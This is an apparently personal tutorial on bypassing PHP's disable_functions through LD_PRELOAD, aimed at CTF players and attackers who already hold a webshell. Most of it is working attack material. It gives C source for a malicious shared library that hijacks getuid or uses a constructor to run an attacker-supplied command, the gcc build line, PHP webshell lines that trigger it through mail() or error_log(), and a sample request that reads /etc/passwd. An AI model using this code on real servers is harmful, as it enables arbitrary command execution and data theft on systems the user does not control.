Bypass disable_functions with LD_PRELOAD

The defense of disable_functions

In most of the CTF, developer would set up the disable_functions of environment variables. Or sometimes when I already get a webshell on remote servers, but I could not use specific system function with the limitation of disable_functions. I will show the way I break through this kind of difficulty in this article. First, I would show how disable_functions work on my docker image of php:7.1.19-apache.

First, I would find which php.ini my current system loads with:

php -i | grep php.ini
// return with "Loaded Configuration File => /usr/local/etc/php/php.ini"

If you don’t find the file under the path, you just need to create by yourself. Then, I write disable_functions= system, exec into the file. Make sure to restart the service to make the changes work. For example, I restart the service of apache on my docker image, then I can see the changes in phpinfo(). Someone might confused about the difference between using <?php putenv(""); with writing to the php.ini file. In fact, we can find the answer in the Official Manual: Adds setting to the server environment. The environment variable will only exist for the duration of the current request.

Time to see how disable_functions work. I tried to write a webshell:

echo system(ls);
// return with "Warning: system() has been disabled for security in /var/www/html/xxx.php"

It really is an annoying problem after you already get shell but cannot use any system functions. In Code Breaking Puzzles, I use different php functions to solve the problems. Now, I would use LD_PRELOAD to break through the difficulty.

Use sendmail to bypass disable_functions

This method has existed for several years, and it is based on the concept that when system tries to call the function, the function is located in the specific shared library(xxx.so). Therefore, system will load the xxx.so before call the function. In other words, if I can created an evil.so with the evil function of same name in it, then I have the opportunity to hijeck the function.

First, I need to choose which function I want to hijack. Here I choose getuid as my hijack function because it is very basic function and doesn’t need any arguments. With man 2 getuid, I rewrite the function:

// evil.c
#include <unistd.h>
#include <sys/types.h>

uid_t getuid(void){
    unsetenv("LD_PRELOAD");
    system("ls");
    return 0;
}

Second, I need to find a php function which would execute sendmail, to call getuid and also run up a new process. The reason for a new process is just like I mentioned above, I need to restart the service to change the value of LD_PRELOAD. Here I choose mail(), with strace -f php mail.php 2>&1 I can see the mail function starts up new process to run sendmail with execve("/usr/sbin/sendmail",..., then sendmail would call getuid.

The last step, I just need to use gcc -shared -fPIC evil.c -o evil.so. In my webshell:

putenv("LD_PRELOAD=/var/www/html/evil.so");
mail("a","b","c","d");

The first line is to preload the evil shared library. At next line, when mail() locates the getuid and tries to run it, what it runs in fact is the hijacked function which has system("ls") in it. In addition, error_log() would also execute sendmail. Try out error_log("test", 1, "", "").

However, if there is no sendmail installed on the system or maybe developer limit the execution of /usr/sbin/sendmail, this will cause to the failure of creating new process :weary:

Without sendmail to bypass disable_functions

Here, I suggest you not to stuck yourself in hijacking the function anymore. We can change to hijack the shared library directly! I will use the concept of __attribute__ ((__constructor__)). Just like the answer of How exactly does attribute((constructor)) work? in stackoverflow, It’s run when a shared library is loaded, typically during program startup. Therefore, I rewrite the C program in order to hijack the shared library:

// evil.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

Again, I gcc -shared -fPIC evil.c -o evil.so and write another php webshell:

With xxx/?cmd=cat /etc/passwd&out=res.txt&sopath=/var/www/html/evil.so, I can dynamically execute the command I want to run. Welcome to the webshell of the new world.:+1:

Something important in the lesson

  1. The reason we use mail() is that the function would execute sendmail, which will start a new process and run getuid(), so we can hijack getuid().
  2. Without sendmail, we can only give up on hijacking getuid. But we can hijack the new started process with the function runs before the main function. When mail() tries to start a new child process, evil.so is loaded again.
  3. If mail() is also banned, what we need to find is another function which can start a new process. We can test Imagick(), which would start up a child process to execute ffmpeg. Again, we should success with __attribute__!